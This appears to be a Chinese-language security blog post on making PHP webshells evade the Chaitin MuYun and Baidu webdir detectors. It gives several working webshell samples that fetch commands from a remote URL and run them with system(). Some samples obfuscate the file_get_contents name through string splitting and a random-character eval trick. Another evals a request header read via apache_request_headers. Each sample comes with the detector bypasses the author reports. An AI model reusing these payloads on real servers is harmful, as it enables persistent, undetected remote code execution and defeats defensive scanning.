在研究基于netfilter的后门时,我想到如果webshell可以创建af_packet、af_netlink等socket,就可以不使用$_POST
、$_GET
等方式获取用户输入,因为某些webshell检测方式会标记$_POST
、$_GET
等数据为污点,所以这种方式可以用来躲避检测。
不过很遗憾,从 https://www.php.net/manual/en/function.socket-create.php 文档中看,socket_create不支持创建af_netlink、af_packet类型的socket。
接着我又想到,我可以通过"端口复用"创建tcp服务来获取用户输入。比如和php-fpm、ssh服务做"端口复用"。
在 https://cloud.tencent.com/lab/search?searchtitle=lnmp 的实验环境里搭了一个php-fpm环境后,测试后发现无法做端口复用,猜测应该是php-fpm服务监听的socket没有用SO_REUSEPORT选项。测试代码见 https://gist.github.com/leveryd/83038ce5b53a34435c9c0888235bf7bd
似乎上面两种思路都不行,最后我就想webshell能不能从远程获取用户输入呢,这样也不用$_POST
、$_GET
等变量。沿着这个思路构造了几个样本,并在长亭的牧云[1]、百度的webdir[2]验证了一下检出效果。
第一个样本如下
<?php
$cmd=file_get_contents("http://127.0.0.1:9999/cmd");
system($cmd);
牧云标记出webshell,webdir没有检出。
即使改成下面这种用eval、字符串拼接,牧云也可以检出
<?php
eval('$cmd=file_get'.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);
不过加入随机数后,牧云就无法检出
<?php
function rand_char(){
$s = substr(str_shuffle(str_repeat("1t",1)), 0, 1); // 从"1"和"t"中随机选择一个字符
return $s;
}
$r=rand_char();
eval('$cmd=file_ge'.$r.'_contents("http://127.0.0.1:9999/cmd");');
system($cmd);
rand、mt_rand 生成的随机数,牧云是可以检出的
最开始的思路是想避免$_POST
、$_GET
等常见方式获取用户输入,最终绕过还是得靠不常见的随机数函数。
file_get_contents也可以改成socket,代码见 https://gist.github.com/leveryd/896b9fba137aa2d12ce8c7737d451852
PS:在研究过程中,发现一个似乎比较少见的获取header的api,测试发现也可以绕过webdir
<?php
$headers=apache_request_headers();
eval($headers["X-TARGET"]);
长亭的牧云: https://stack.chaitin.com/security-challenge/webshell/index
[2]百度的webdir: https://scanner.baidu.com/#/pages/intro